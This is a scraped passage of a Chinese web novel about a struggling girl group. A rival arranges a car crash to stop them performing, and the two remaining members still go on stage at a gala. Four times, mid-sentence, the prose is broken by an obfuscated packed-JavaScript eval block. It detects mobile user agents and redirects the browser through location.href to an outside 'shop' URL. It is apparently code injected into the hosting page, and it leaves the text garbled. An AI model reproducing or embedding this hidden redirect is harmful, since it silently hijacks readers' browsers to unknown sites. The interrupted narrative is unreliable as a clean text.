徐淼摇了摇头。 “十万?” 徐淼又摇了摇头。 楚幺幺内心一阵欣喜,正准备再问问细节,就被一旁的Amy拉住了,后者给了她一个凌厉的眼神。 什么时候,她Amy姐谈合作,轮得到一个小艺人自主拍板了? 两人视线相撞,楚幺幺识趣地闭上了嘴。 Amy姐将桌子上的文件一合,往椅背上一靠,大家长的气息扑面而来,“徐主任,据我所知,幺幺这次在你们的节目,待得并不愉快。” 徐淼的脸上立马爬上了尴尬的笑,嘴角像被冻结了一般僵硬,“呃……误会,都是误会,我看他们年轻人相处的很愉快啊。” “愉快?”Amy姐眉目一狭,倾身靠向桌前,一手托着下巴,一手压在楚幺幺的肩膀上,“她回来手臂上有冰刀的割伤,徐主任不会以为我不知道吧?” 两位业内知名的“新星”发掘人,此刻两相对立。 Amy姐:“别以为我不知道你们做了什么,今年寰宇和番茄的所有合作都暂停。” 寰宇娱乐一直是娱乐圈的龙头,番茄娱乐则是第二把交椅,两家平日里虽然竞争颇多,但合作项目也不少。 五年前,徐淼带队来谈下了两家的第一个合作,资金涉及好几个亿,投资者看重两家强强联合的潜力,这几年因为合作项目赚了不少。徐淼也一跃成为番茄娱乐的老大哥。 “Amy,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210656|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样做就很难看了,不至于为了这一点小事,断了大家的情谊。”徐淼焦急地站了起来,“你有什么要求,我们可以好好谈。” “没得谈,”Amy姐拒绝得干脆,“是裴总的意思。” 徐淼闻言却颇为惊讶,“裴总?怎么可能?裴总不是从来不插手娱乐业务吗?” 寰宇集团业务覆盖娱乐、科技、地产等多种领域,办公区域的三栋大楼连在一起,A栋是总部,中间矮洼的B栋是科技部,再边上的C栋才是寰宇娱乐。本质上寰宇娱乐只是寰宇集团旗下的一个子公司,子公司全权下放,裴宴林很少插手。 “您既然知道,就该知道裴总这次有多生气。”Amy姐目光定定地望着徐淼,面色冷冽如夜半微凉的月光,“不好意思,送客。” 门外立马进来一位穿着白衬衫的助理姐姐,对着徐淼比了个“请”的手势,徐淼还想说些什么,在望到楚幺幺的瞬间咽回了那口气,“哎”了一声,跟着助理姐姐出去了。 楚幺幺目送着徐淼的背影,眼看着他被送走,会议室的门刚关上,她听见Amy姐的指甲在实木桌面上敲出清脆声响。 一转头,视线就对上了Amy姐,后者正靠着椅背看着她。 “还不走?”Amy姐面色冷淡 楚幺幺坐着没动,指腹轻轻擦过鼻尖,“我还以为,Amy姐有别的东西可以喂饱我呢。” 在商言商,她不信寰宇娱乐会断了自己的财路,拒掉一个可以刷曝光率的饼。更何况,她和Amy姐相处了五年,她自认还算了解她。 “呵。”Amy姐冷呵一声。 “下周三八点,蓝鲸大厦32层。”Amy姐推过来一张烫金邀请函,暗紫色桔梗花在黑色丝绒上盛放,“群星之夜的表演舞台,你们团唱《荆棘王冠》。” 《荆棘王冠》是桔梗少女成团时的出道曲,当时算是小有名气。 但那之后她们的资源一直很虐,唧唧歪歪公司把她们当作最低等的艺人,近乎雪藏,只等着她们实在忍受不了解约,经纪公司还能美美收割一拨违约金。 “真的吗?”楚幺幺不可置信地拿过邀请函,上面清清楚楚地写着受邀嘉宾——桔梗少女。 这是桔梗少女第一个正式的团队通告。 “你在综艺里表现不错,最近流量正盛,群星之夜的总导演临时给你们加了一个节目,不过安排的位置不太好。” “没关系,已经很好了!”楚幺幺抓起椅子上的包就往外跑,刚跑了几步又停住了,她转头看向会议桌前的人,朝她眨了下眼,“谢谢Amy姐~” 说完,又一阵风似地跑走了。 Amy姐看着她离开的背影,手指轻轻翻开桌上的文件夹,里面是楚幺幺最新的评估报告。身高171cm,体重52kg,右上角的两寸照上,楚幺幺扎着丸子头冲着镜头微笑,比刚进公司时瘦了不少,脸看着都小了一圈。 Amy在信息页的右上角打了个“B”,往后一翻,紧跟着沈清柠和姜书语的两页,她握笔的手顿了顿,犹豫后在她们的页面上写下了两个字:观察。 17. 搞了点诈骗 “楚幺幺!” 姜书语握着邀请函的手微微颤抖,两只粉色发卡将她的刘海夹得死死的,像两只犄角,“这是群星之夜的邀请函?!” “是啊。” “是娱乐圈所有大、明、星都会参加,每年定期举办的那个群星之夜?!” “是啊。” “清柠,我是不是在做梦?她拿到了群星之夜的邀请函!!!”姜书语几近破音,兴奋之情沿着她的上颚直达天灵盖。 沙发上的沈清柠抬头看向姜书语,表情又温柔又古怪,“没做梦,你掐得我好疼。” 姜书语的一只手正死死抓着沈清柠的手臂,因为过于激动压根没有控制力度,沈清柠白皙的手臂被掐出了红色的手印。 “哦,不好意思。”姜书语收回手,难掩激动地握拳在空中锤了锤,“我们,我们要上台表演了!” “是啊。”这一声是楚幺幺和沈清柠一起回答的。 “啊啊啊啊~~”姜书语拿着邀请函绕着沙发跑了一圈,然后一把抱住了楚幺幺,“幺幺,你太厉害了,我怎么觉得你撞了脑子之后反而更聪明了!你简直是个小福星!” 她说着在楚幺幺的脸上疯狂地亲,楚幺幺被压在沙发里蹂躏,脸颊像和面的面粉团子被挤成了一块。 “好了好了。”等楚幺幺扑腾着爬起来,头发都已经乱了,她清了清嗓子,说,“现在最重要的,是练好《荆棘王冠》这首歌,我们只有一周时间了。” “这有什么难的?”姜书语拍拍胸脯道,“我们团就这一首歌,我倒背如流!更何况,我们清柠的嗓子,那是被天使吻过的!一定惊艳全场!” 沈清柠的嗓音确实有着得天独厚的条件,尤其是高音区的共鸣更是惊艳,犹如绷紧的吉他弦,有种纤细又破碎的感觉,放眼娱乐圈也找不到和她一样条件的嗓子。 只可惜,这三年她都没有得到很好的训练,空有一副好嗓子,却没有运用这副嗓子的技巧。 楚幺幺低头沉思,抬头时正对上沈清柠的眼,“我得给你找个老师。” …… 数小时后,楚幺幺穿着一身香芋色瑜伽服出现在健身房内,她将保温杯放在跑步机旁,按下跑步机的开关,跟随着跑不带的节奏不缓不慢地走着。 边上的跑步机上,一位穿着白色背心和裤衩的小胖哥正扭着屁股跑步,白色的袜子没过脚踝,他的额头大汗淋漓,下巴上长着一圈胡渣,跑起来两臂的肉一甩一甩。 楚幺幺微微侧了点身,“Eric总监,我是寰宇娱乐的楚幺幺,能否有幸请您指点一二?” Eric瞥了她一眼,目光自上而下打量她,随即翻了一个白眼,不屑道:“找我指点,小妹妹,你还不够格。” 他说罢,暂停了跑步机,斜了楚幺幺一眼,踮脚半转了个圈下了跑步机,袜口滑落露出脚踝处的彩虹纹身。 作为业内公认的金牌音乐制作人,Eric手下带出过三位实力派歌手,凭着过硬的业绩在业内谁都看不上眼。 刚回国那阵,她在Eric手下特训过,这人虽然娘里娘气的,但在指导新人方面颇有心得,看起来难相处其实性格很简单,她仅凭一个限量款包包就和Eric交了心,后来天天喊着要和她一起逛街,没几个月他们就情同姐妹。Eric每周五都会来这家会所健身,也是她那时候知道的。 楚幺幺走到他面前,冲他微微一笑,“要是我自己,肯定没有资格来找你。但是……是顾颜榕让我来找你的。” “噗——”Eric一口水呛在喉咙,喷吐了出来,眼神在瞬间泛起了清澈的光,“谁?你说谁?” “顾颜榕,石英唱片的一哥——国内第一唱作人。”楚幺幺正声,一字一句地说。 Eric看着她,表情明显有些犹疑,“就你?认识顾颜榕?” 他去敲了三次门,顾颜榕都没有理他,她一个小小的一百八十线小艺人,认识顾颜榕? “当然,”楚幺幺郑重地点点头,“顾颜榕可是我们寰宇裴总的发小!” 事实上,也是她的发小。 她和阿宴、顾颜榕三个人从小一起长大,在北山市最好的私立学校一起上学,只是顾颜榕那小子从小就是一副生人勿进的冰山模样,不似阿宴可爱。 Eric将信将疑。 见Eric还是有所怀疑,楚幺幺赶紧加了一剂猛药,“顾顶流说,你上次托程漾给他带的demo他听了,他非常喜欢。” 她特意加重了“非常”两字的读音。 Eric一听这话,立马两眼放光,“真的吗?他真的这么说?” 果然,没有哪一位粉丝,在自己偶像面前能保持理智。谁能想到,这位不可一世的金牌制作人,心里藏着一位触不可及的“白月光”——内娱第一创作人顾颜榕,一个比他还臭屁的男人。 “当然啦,要不是他说的,我怎么可能会知道这事儿?” Eric在这一刻彻底被说服力,那首demo他只交给了程漾,除了顾颜榕不会有第三个人知道这首歌。 而他不知道的事,那首demo程漾还没来得及交给顾颜榕,自己就先出事了。 “那他有没有说什么时候和我合作?”Eric难掩激动。 “本来是想的,但他现在遇到了一点麻烦……”楚幺幺抚着下巴,面露为难之色。 “什么麻烦?” “他最近看中了一位音色很好的小歌手,觉得她非常适合唱你给的那首曲子,只是那人唱歌技巧太差了,可惜了。”楚幺幺说着惋惜地“啧啧”了两声。 “这有什么问题?技巧差的艺人我带得很多 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半小时后,姜书语看着眼前的场景惊得下巴都忘了合上——娱乐圈第一制作人,此刻,就在她们破破烂烂的小出租屋里,坐在她们那架老旧的破钢琴面前,正在教沈清柠唱歌。 “升Key,八度,八度!” “腹腔!共鸣!” “什么破钢琴音都是跑的!” …… 两个月前,她做梦都梦不到这样的场景。 姜书语看看Eric,又看看楚幺幺,终于伸手手动将自己的下巴合上了。 “幺幺,能不能告诉我,你怎么做到的?” 楚幺幺双手环胸而立,视线还是盯着前方的那对“师徒”没有移开,轻叹了口气,“搞了点诈骗。” “诈骗?!”姜书语的嗓门极大,惹得钢琴前的Eric愤怒地朝她看过来,“喂!不相干的人,出去!” 姜书语双手合十,不好意思地耸肩比了个抱歉的手势,她扯着楚幺幺的衣服弱弱转过了身,轻声道:“骗来的?被发现了怎么办?” “还没想好。”楚幺幺轻描淡写,表情淡然得就像道上刀尖舔血的大姐头,大有今朝有酒今朝醉的意思。 “你这给他多少钱?” “不要钱。” 不要钱…… 姜书语突然觉得,幺幺就算不混娱乐圈,也能干出一番大事业,比如去去缅北什么的。 她甩甩头,抛开脑海里的念头,双手一起握住了楚幺幺的一只手,深情款款地看着她说,“幺幺,你为这个家真的付出了太多,说吧,我能做些什么?” 楚幺幺被她这两眼含情的模样着实恶心到了,“你?” 她盯了姜书语半晌,她的平刘海已经长长了许多,额前最短的那几根长度已经到了下颌骨,“烫个刘海吧。” 18. 小糊团 “就这?” “嗯。” “幺姐,我这就去!”姜书语朝她敬了个礼,不由分说就朝门口走去,刚走到门口又一个急转弯绕了回来,朝她“嘿嘿”一笑,从沙发上拿起了自己的包,“嘿嘿,拿个包。” 说完,麻利地冲出了门。 - “群星之夜”当真是内娱最具影响力的活动之一,赞助的品牌商就不下几百个,娱乐圈里能叫得上号的人都来了,把入场红毯走成了星光大道。 前几排是正当红的艺人,包括导演、演员和歌手,Fire女团的位置就在第一排的最中央。 相比之下,主办方给桔梗少女安排的位置就差多了,靠近后门,光线极差,二层的看台恰好能挡住她们的顶光,台上的摄像机甚至拍不到她们。 楚幺幺坐在角落里,目光张望着台上,主持人正在介绍本次到达会场的赞助商和嘉宾。 她们的演出顺序在倒数第三个,《荆棘王冠》已经排练了不下一百次,沈清柠在Eric的指导下,高音控制更稳定了,可不知为何,楚幺幺却总觉得不安。 兴许是昨晚太晚睡,眼皮一直在跳的缘故。 她捋了捋半扎的马尾,看向了一旁的姜书语,眼角点缀着亮片闪着光。 姜书语看了看手表,“阿柠也真是的,这么重要的场合还迟到。” “她刚刚给我发了消息,很快就到了。”楚幺幺拍拍姜书语的肩安抚。 “幺幺,我真的好紧张啊~”姜书语抱住了楚幺幺,三年来,她第一次登上大舞台。 楚幺幺拍拍她的手臂,“不紧张,我们以后还要站在更大的舞台呢。” 更大的舞台,一听到这几个字,姜书语眼睛顿时犯了红,她抬头看向楚幺幺,坚定地点点头,说:“对,要像阿漾姐姐一样,站在更大的舞台上。” 阿漾。 不知怎么的,听到这个名字,楚幺幺竟然有些恍惚了。 从什么时候开始,她已经接受了自己是楚幺幺,听到这个名字,就像听到了上辈子的故事那样久远。 而此时,保镖簇拥着几个人从后门进来了,恰巧路过她们的座位。 “嗤——”耳边突然传来别人的嗤笑声。 楚幺幺抬起头,正好看见了一个老熟人。 “楚小姐。”宋雨桐一身香槟色礼服,真丝挂脖在她锁骨处勒出两道寒光,她的下巴微扬,尾音黏着红酒渍般的甜腻,“人贵在有自知之明,不要肖想自己得不到的东西,做事得先掂量掂量自己的重量。” 这话听着明显是在内涵上回,楚幺幺从她手中抢走了裴宴林,看样子她是气得不轻,不然怎么会还刻意去调查了她的名字。 楚幺幺还没还口,一旁的姜书语已经先一步站了起来,“喂!你会不会说话!就算我们是小糊团,难道就不可以站在大舞台上吗?你没有梦想吗?” 姜书语显然会错了意,但宋雨桐却没有放弃奚落的意思,“你也知道你们是小糊团啊。” 宋雨桐纤长的手指在姜书语的胸前用力点了点,目光又移向了楚幺幺,语气里的嘲笑更盛了,“你们团的粉丝有Fire的零头多吗?不会真以为自己最近在娱乐圈闹出了点动静,就能升咖吧?不会真以为寰宇娱乐给你们机会来这里表演一次,就能做明星梦了吧?寰宇娱乐只有一支顶流女团,那就是Fire。” 看来,她还调查了不少。 “喂!你讲话也太难听了吧!”姜书语气得大口喘气。 楚幺幺站起来,将姜书语拦在了身后,“这些就不劳宋小姐担心了,宋小姐有空还是多担心担心自己的团吧,没有了程漾,听说Fire一季度的绩效下滑了不少哦~” “笑话,轮得到你一个小破团嘲笑我?” 楚幺幺不屑一笑,“我掂没掂量不知道,我看宋小姐应该是没有掂量过。” 宋雨桐上前迈了一步,凑到楚幺幺的耳边,小声说:“你以为裴宴林会喜欢你?他只爱他的未婚妻。” 楚幺幺不置可否,“你既然知道裴宴林不会喜欢我,又生什么气呢?” 宋雨桐看着楚幺幺,咬紧了牙,她向前逼近了一步,从齿缝里挤出几句话,“我就是不喜欢,有人像蟑螂一样出现在他身边。” 以前是程漾,现在是楚幺幺,都是一样的! “雨桐。” 前方,本来已经走过去的路雅宁停了下来,转头看向了这边的动静,她的目光草草掠过那几张不认识的脸,最终落到了宋雨桐身上,“浪费什么时间?还不快走?” 曲潇潇拉了拉宋雨桐的手,“雨桐姐,快走吧。” 宋雨桐一把甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214083|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开她,还狠瞪了她一眼,“怎么?胳膊肘开始往外拐了?” 曲潇潇低着头不敢吱声。 宋雨桐的双眼又看向楚幺幺,嘴角一笑,说:“第一次上这么大的舞台,很不容易吧。要是搞砸了,可怎么办?” 她向周侧望了望,故作惊讶的说:“我怎么记得你们团是三个人啊?你们的大Vocal怎么没了?呵呵,没了?” 她说着竟笑了起来,涂着口红的嘴露出洁白的牙齿,像一朵食人花。 “快走吧,我怕你吃小孩儿!”姜书语越过楚幺幺的肩头,怼了一句。 “宋雨桐!”前方,路雅宁不耐烦地又喊了一声,深黑色的亮面礼服衬托着她白皙的皮肤和妖艳的红唇,她右上额的大红花显得更妖冶了。 “看你们能嚣张多久。”宋雨桐白了楚幺幺一眼,扬着下颚,提裙向前走去。 台上,主持人的声音响起:“下面让我们热烈欢迎——Fire女团!” 现场顿时响起了雷鸣般的掌声,欢呼和尖叫声充斥在整个场馆。 “Fire!Fire!Fire!”场内的粉丝举着应援牌,大声喊着Fire的名字。 姜书语还是气不过的样子,紧锁的眉头能夹死苍蝇,“Fire怎么这样啊!以前阿漾姐姐还在的时候,她们对粉丝可好了,这个宋雨桐,不是温柔姐姐人设吗?我看她就是个毒妇!” 楚幺幺望着台上的三个人,咽下一口口水,觉得喉咙干涩得厉害,“她刚刚说什么?” “什么说什么?” 楚幺幺细细回想刚刚宋雨桐的话,“她刚刚说,我们的大Vocal怎么没了。” 就好像,她知道Vocal永远不会来一样。 楚幺幺脑袋“轰”的一声炸开,她从包包里摸出手机,按下通讯录时手都是抖的,一瞬间,那一夜海水的冰凉仿佛又回到了她的身体,让她整个人都感到寒冷而窒息。 “嘟,嘟——”没接。 又打了一个。 “嘟,嘟——”还是没接。 等到楚幺幺打进第五个电话,那头终于接通了。 没等那边说话,她已经先一步开口,“清柠,你现在在哪里?” 那头沉默了几秒,一个温柔的女声传来,“您好,这里是北山中心医院。” 19. 荆棘王冠 楚幺幺和姜书语赶到医院时,手术室的灯刚刚熄灭,几个护士推着病床从里头出来,病床上的沈清柠脸色苍白。 沈母从一旁座椅上扑了上去,撕心烈分地喊着:“柠柠,柠柠。” 她哭得厉害,险些没有站稳,姜书语一把抱住了她,“阿姨。” “手术很成功,家属不用担心。”护士平静地说,医院每天上演生离死别,对这类情况早已习以为常。 医生摘去口罩,从手术室里出来,沈父颤抖着手迎上去,焦急地询问:“医生,柠柠她怎么样了?” 他晚上原本还在工地里打工,接到电话知道柠柠车祸进了医院,立马赶了过来,连衣服都还没来得及换,衣服和裤子上都是水泥灰,连走过的地面都沾着粉。 医生拍拍他满是老茧的手,安抚道:“别担心,不幸中的万幸,没有伤到要害。麻药过了你们就可以去看她了。” “谢谢医生!谢谢医生!”沈父紧紧握着医生的手道谢。 一位护士从楼道另一侧过来,扬着手里的单子,问:“谁去缴一下住院费?” “我。”楚幺幺抬了下手,离开前拍了下姜书语的肩,示意她照顾好场面。 304病房内,吊瓶的水一滴一滴地落下。 沈母终于止住了哭,只是声音还有些呜咽,“早说了要搬家,那个地方这么偏,柠柠被车撞了,连个监控都没有。” 她喃喃着又重复了几声:“早说了,要搬家。” “别说了。”沈父在一边捂着头,懊恼地说。 “要不是恰巧有人路过报了警,我真怕……”沈母眼泪又涌了上来,握着姜书语的手,比划着,“你没看到,这么长的竹竿子,戳进她的身体里,这么长……” 沈母说着,泣不成声。 姜书语抚摸着沈母的背,嘴巴一瘪一瘪,光听到描述她已经受不了了,天知道清柠那时候有多疼。 事发地段偏僻,没有灯也没有监控,两边是一片芦苇地,路边插着几根劈成半副的竹竿,沈清柠被撞飞后,不慎被一根竹竿戳中了腹部。 门口,楚幺幺刚缴完费回来,她站在门口的阴影里,低着头,手中的单子被她用劲的拳头捏皱了。 “书语。”她轻轻唤了一声。 姜书语抬起头,脸上还挂着泪,“幺幺,你回来啦。” 楚幺幺往里走了两步,病房里的光线照在她的脸上,就像打在一张纸上,苍白得可怕,她抬起头看着姜书语,语气很冷静,“我们该走了。” “幺幺……”姜书语觉得她有点不对劲,视线看看沈父和沈母,现在离开,不合适吧? 沈母倒是很通情达理,抹开脸上的泪说:“你们快回去歇着吧,今天谢谢你们。” “可是……” 楚幺幺往里又走了几步,将缴费单放到床头的柜子上,“实在抱歉,明天我们再过来。” 说完,她拉起姜书语就往门外走去。 姜书语被她拽得有些生疼,“幺幺,你去哪儿啊?” 护士台的墙面上挂着一只闹钟,秒针一帧一帧地走着,指在八点四十三分的位置。 “回去表演,我们还有时间。” “回去?回哪里去?清柠都这样了,你不会以为我们还能表演《荆棘王冠》吧?”姜书语委屈得眼泪都要下来了。 沈清柠是桔梗少女的Vocal,这首歌一半的高音和副歌都是以她的声音为主旋律,姜书语的烟嗓只负责其中Rap的部分,楚幺幺分到的词也不过是几段简单的旋律,也就是说,这首歌,没有沈清柠她们根本完成不了。 “这是我们第一个通告,还是在群星之夜这种场合。如果搞砸了,我们可能再也没有翻身的机会了。”楚幺幺抓紧了姜书语的手,像抓住一根救命稻草,“何况,你真的相信这是意外吗?” 来的路上,她已经和姜书语说过自己的猜测了,她不相信真的只是巧合。 姜书语的手微微颤抖,“这……这只是你的猜测,人……人怎么会那么坏呢?” 她们不过是一个小糊团,就像宋雨桐说的,她们的粉丝量连Fire的零头都比不上,有什么必要大费周章地对付她们? “以前我也以为,人是不会这么坏的。”楚幺幺低喃,像声音轻得几乎只有自己能听见。 姜书语摇摇头,“可是……没有阿柠,我们不行的。” 楚幺幺抓紧了她的手,望着她的眼神异常坚定,“相信我。” 姜书语瘪瘪嘴,不知为何,突然很想哭。 “阿柠也会希望,我们站在那上面。” 一听这话,姜书语的眼泪又一次夺眶而出,她闭上眼,猛地点点头。 …… 蓝鲸大厦3楼的露台上,风吹起香槟色的裙摆,飘来几缕香水味。 “废物!只是让你拖住她,你闹出这么大的事!”宋雨桐披了一件毛毯,露台的风吹起她的长发,她的目光不停观察着周遭的人,好在,里面正在举行群星之夜,所有人的视线都聚集在那边,并没有人留意到这边的动静。 地上跪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217539|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,胡子拉碴,声音颤抖地说:“我……我也不想的,我本来只是准备等她上了车,撞个车祸。谁想到,那么偏的地,她为了省钱不打车。我怕……怕待会儿上了大路,就不好下手了……我把她撞飞出去,他娘的!正巧有根竹竿子,戳……戳她身体里了。姐,我不知道有没有杀人,你……你救救我!” 那人抱紧了宋雨桐的腿,哀求着。 宋雨桐眉头一皱,嫌弃地抽开了脚,“哭什么哭?你又不是去杀人,你只是不小心撞了人。谁问都一样,听明白了吗?” “明白!明白!” 宋雨桐舔了舔嘴唇,“那地方有监控吗?” “没……没有。”那人说话的声音都在抖。 “没有你怕什么?”宋雨桐的目光透过玻璃窗往里望去,再过半小时,群星之夜就要结束了,敢和她抢东西,她要让她知道这地方谁说了算。 她转过身,嘴角的笑意比夜晚的风还凉,哪里还有粉丝口中温柔娴静的样子,“就算撞死了这个农村来的小丫头,又能怎么样?你回去,明天我找人把你送走,你出去躲一阵。” 高跟鞋在地面发出有节奏的声响,从露台经过长长的走廊,最后推开厚重的实木门进入了表演厅,桔梗少女的座位上空空如也。 她的嘴角又挂上了一抹不易察觉的笑。 台上的水晶吊灯将舞台切割成棱镜战场,女主持握着镶钻话筒,清脆的嗓音穿透沸腾的场馆:“接下来要出场的,是我们本季度的微博数据之星——” 一旁,西装笔挺的男主持正竭力配合:“哦?是谁啊?” “这个女团在本季度的搜索热度达到了八千万,从岌岌无名,一下子飞跃到了观众的视野,尤其是她们的队长,单人热度贡献率就达到了七千万,当真是后生可畏啊。” “你就别卖关子了,快请她们出来亮亮相吧。” “让我们用热烈的掌声欢迎——桔梗少女!” 现场响起了热烈的掌声,舞台上的灯光随即暗下来,然而,仅仅持续了几秒后台上的灯光就又亮了。 现场的观众一头雾水,掌声稀稀拉拉。 此时,女主持正提着银色的裙摆准备撤退,被这灯光打了个猝不及防,她站定身子,往后方看了看,又露出了端庄大气的笑容,又重复了一边:“看来掌声还不够热烈,让我们再次欢迎——桔梗少女!” 现场的掌声比刚刚更加热烈了,可舞台上却没有半丝动静。 尴尬的气氛持续了十来秒,场下的观众开始面面相觑。 20. 崭露头角 宋雨桐盯着舞台,迈着悠闲的步子一步一步往座位上走。 Fire的位置在最前排,从后门走到前面有好一段路,她就像一个看戏的观众,对现在这一幕戏很是满意,嘴角的笑意越来越收不住。 她说过的,谁都不能抢她的东西。 场面开始混乱,女主持伸手压住了耳朵里的听筒,企图听清后台说的指令,明眼人都看得出来,出问题了。 “各位稍安勿躁,后台……正在调试中。”女主持故作镇定,朝幕布后的工作人员疯狂使眼色。 现场传来了不耐烦的议论声: “搞什么啊?到底行不行啊?” “桔梗少女,我根本没兴趣看。” “糊就算了,还浪费大家的时间。” “听说是新人团,该不会是吓得逃跑了吧?” …… 就在这时,舞台的灯光突然狂闪起来,十七盏激光灯毫无预兆地在场内扫射,《荆棘王冠》沸腾的背景音像一串敲击键盘的代码。 几秒后,光束集中在舞台中央,伴随着舞台音效,楚幺幺破碎的声音在电流修饰中化作赛博歌姬的电子音:“It''sourQueenThrone——” 升降台震颤着升起。 楚幺幺和姜书语出现在舞台上,黑色军靴底部的钢钉擦出蓝色火花,肩头斜披的绗缝夹克上镶嵌着铆钉,就像刚从荆棘丛中爬回来的死士。 宋雨桐瞬间睁大了眼睛,站在过道中央停住了脚步。 怎么可能? 黑色束腰像鱼骨刺般裂开,楚幺幺和姜书语随着音乐节奏突然弹射直立,仿若被无形丝线操纵的提线木偶觉醒。 追光灯如月光倾泻,楚幺幺的指尖抚过悬浮的玫瑰装置,十二道激光束随音阶攀升,在她身后交织成荆棘图腾。 姜书语从升降台跃下,黑缎西装划破黑暗,强节奏的电子音如爆炸般推进,她独具特色的烟嗓就像在沉吟一个古老的故事—— “红色警报在瞳孔里闪烁(闪烁) 踩着玻璃渣的猫步逆光降落(降落) 暗夜蝴蝶撕开茧房裂缝 甜酷火焰烧穿了傀儡绳索” 台下有人交头接耳地议论: “这是谁?桔梗少女有这个人吗?” “是不是少了一个人?桔梗少女不是三个人吗?” …… 两人背对背走位,镜面屏幕上倒映出无限复制的王座。 楚幺幺短裙的下摆镶满了水晶,折射着舞台的灯光,她身上的纱裙仿佛公主逃跑时被荆棘割破的裙摆。 “流言子弹卡在枪膛哑火 荆棘刺青是加冕的轮廓 废墟里种出玫瑰一朵 疼痛让王冠更灼热……” 合成器电流音缓缓切入,鼓点轻敲如心跳一般。 楚幺幺跟着伴奏哼了几声,音阶从低音区爬升到高音,再次开口时候仿佛换了一个人,如果说刚刚像是地狱低吟,此刻清亮得就像天使吟唱—— “Crownofthorns踩着刀锋起舞(Hey!) 被诅咒的珍珠在伤口里成熟(Let''sgo!) 废墟顶端我睁开双瞳 月光焊成我的金属披风 Crownofthorns带电的荆棘丛 旧伤疤在暗处折射霓虹 Crownofthorns,butweshinelikedawn~” 最后一句歌词甚至升到了F6。 场下的观众爆发出不可置信的呼喊声,几个业内有名的歌手和制作人发出了竟然:“哇~这是全开麦吗?她唱了两个声部?” “内娱什么时候有这种宝藏了?” “这是楚幺幺,花滑综艺跳出3A的那个!” “D3到F6,上一个能跨12个阶的女歌手,还是程漾! …… 姜书语扭动着跨,像一只黑猫妖娆地走那倾斜的三角钢琴,她一把揪起伴奏师的领带,指尖顺着他的领带缠绕了几圈,妩媚地朝着他的胸口轻轻一推,自己坐回到了钢琴上。 无数的镜头对准了她,她指着其中的一个,朝着镜头勾了勾手指,就像在万千男模中挑中了最顺眼的一个。 她的眼神不屑地掠过半场,耳麦线缠绕手腕如女王权杖,大波浪配烈焰红唇,惊艳得让人有移不开眼。 “这是姜书语?!” “我去!真的是那个锅盖头姜书语!” “太御姐了吧!!!” “妈呀!我不认识姜书语,我只想姐姐快拿高跟鞋踩我!” …… 旋律的重低音仿佛和姜书语的气音发生了化学作用,一段流畅的Rap紧随而来,弦音像玻璃弹珠在游走。楚幺幺的甩发动作咬合着伴奏的节奏,发梢沾染的银粉随头部的摆动闪烁。 随后是一段副歌变奏,楚幺幺的高音撕裂音墙,姜书语的低频和声自地底涌起。 舞群在姜书语的响指中分裂成对峙阵营,楚幺幺派系跳着刀刃般的popping,每个肌肉震颤都在模拟荆棘穿刺过程;对面阵营却以现代舞的柔糜姿态缠绕而来。 “Crownofthorns踩着刀锋起舞(Higher!) 被淬炼的珍珠在风暴里成熟(Let''sglow!) 极光撕裂了陈旧天空 我的阴影正在覆盖裂缝 Crownofthorns带电的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她目光冷冷地瞥向宋雨桐,对她今天的行为似乎很不满,“别整天失魂落魄的,就你这样,还想裴总看上你?” 听到裴总的的名字,宋雨桐立马闪过了神,她看了看周围,问道:“裴总今天来了吗?” 曲潇潇轻声说:“雨桐姐,裴总从来不参加这些活动的,哪怕是阿漾姐姐在的时候,为了避嫌,他也从来不参加。” 路雅宁听到程漾的名字,不悦地瞪了曲潇潇一眼,后者畏缩地低下了头。 “去换衣服,马上到我们表演了。”路雅宁站起来,先一步往后台走去。 宋雨桐和曲潇潇紧随其后。 21. 你叫什么名字? “我刚刚真的好紧张!”姜书语抚着胸口从过道里走来。 迎面,Fire女团三人正好从会场里走出来。 姜书语蓦然止住了话头,脸上的笑容也瞬间止住了,往楚幺幺的方向靠了靠。 这几个同门师姐,可不似她以前认为的那般和善。 楚幺幺也同样看到了她们,这过道并不算宽,她拉着姜书语往边上站,让出一条道。 路雅宁的肩膀上披着黑色的西装外套,眼睛斜了她们一眼,走到楚幺幺跟前时突然停下了脚步,她侧了个身,望向楚幺幺。 “你叫什么名字?” 语气冷淡地仿佛在问一个街边的乞丐。 